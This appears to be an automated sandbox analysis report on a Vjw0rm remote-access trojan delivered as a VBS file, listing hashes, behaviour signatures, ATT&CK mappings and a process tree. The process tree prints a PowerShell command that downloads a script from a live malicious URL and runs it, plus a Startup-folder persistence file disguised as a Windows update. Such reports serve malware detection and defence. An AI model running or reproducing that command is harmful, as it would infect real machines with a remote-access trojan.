vjw0rm | b4489a7f0467bee2782b5e5cf74763d0c05148a9044092eb79aba7c588f35f99

General

Target

NS882992019101.vbs
Size

13KB
MD5

1abbd5432118e4de7c696d5d43a7449f
SHA1

49fea89d7fc9f8be3afa2fd1b0ae9b6075c0acbf
SHA256

b4489a7f0467bee2782b5e5cf74763d0c05148a9044092eb79aba7c588f35f99
SHA512

7012990308d3b7e451c65b1bc1e26693a04e1bd63f3c3d735538fbb4e9092d87b3ed323a45231004fcbd3795c11803477d8c1645cf1d2b9c0fc915150161b31f

Score

10^/10

vjw0rm trojan worm

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://7501.nerdpol.ovh/7501/fr.txt

Signatures

Vjw0rm
Vjw0rm is a remote access trojan written in JavaScript.
trojan worm vjw0rm
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

9 3556 powershell.exe
14 2396 powershell.exe

flow	pid	process
9	3556	powershell.exe
14	2396	powershell.exe

Drops startup file 1 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows10DecemberUpdate.vbs	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

3556 powershell.exe
3556 powershell.exe
3556 powershell.exe
2396 powershell.exe
2396 powershell.exe
2396 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 3556 powershell.exe
Token: SeDebugPrivilege 2396 powershell.exe

pid	process
3556	powershell.exe
3556	powershell.exe
3556	powershell.exe
2396	powershell.exe
2396	powershell.exe
2396	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3556	powershell.exe
Token: SeDebugPrivilege	2396	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 740 wrote to memory of 3556	740	WScript.exe	powershell.exe
PID 740 wrote to memory of 3556	740	WScript.exe	powershell.exe
PID 3556 wrote to memory of 2396	3556	powershell.exe	powershell.exe
PID 3556 wrote to memory of 2396	3556	powershell.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\NS882992019101.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:740

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy RemoteSigned -Command [System.Net.WebClient]$WEB=New-Object System.Net.WebClient;$WEB.DownloadFile('http://7501.nerdpol.ovh/7501/fr.txt','C:\Users\Public\fr.PS1');PowerShell -File C:\Users\Public\fr.PS1
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3556

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File C:\Users\Public\fr.PS1
3⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2396

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Public\fr.PS1
MD5
5480fceef4e5290938cb0a23955358df

SHA1
891c237730a39b36bd443e485d3493f5f7ff68c5

SHA256
d9cfdea62d4a3acc5ec47cfc0349002af129add61611a0810b73394bc7ea3020

SHA512
3cf3bef1f0d02ba68d5656e842a58b001aa4ba7b67ab1e21d93b8f2efa604283c58224bd8f8a208b09ab14e1443f78e4da7dbbbd1f1edfaa60316ae1056be392

Download Submit
memory/2396-129-0x0000000000000000-mapping.dmp

Download
memory/2396-140-0x0000023E344D3000-0x0000023E344D5000-memory.dmp

Filesize
8KB

Download
memory/2396-139-0x0000023E344D0000-0x0000023E344D2000-memory.dmp

Filesize
8KB

Download
memory/2396-178-0x0000023E344D6000-0x0000023E344D8000-memory.dmp

Filesize
8KB

Download
memory/3556-114-0x0000000000000000-mapping.dmp

Download
memory/3556-119-0x000002AE72930000-0x000002AE72931000-memory.dmp

Filesize
4KB

Download
memory/3556-122-0x000002AE72AE0000-0x000002AE72AE1000-memory.dmp

Filesize
4KB

Download
memory/3556-123-0x000002AE727F0000-0x000002AE727F2000-memory.dmp

Filesize
8KB

Download
memory/3556-126-0x000002AE727F3000-0x000002AE727F5000-memory.dmp

Filesize
8KB

Download
memory/3556-138-0x000002AE727F6000-0x000002AE727F8000-memory.dmp

Filesize
8KB

Download

Analysis

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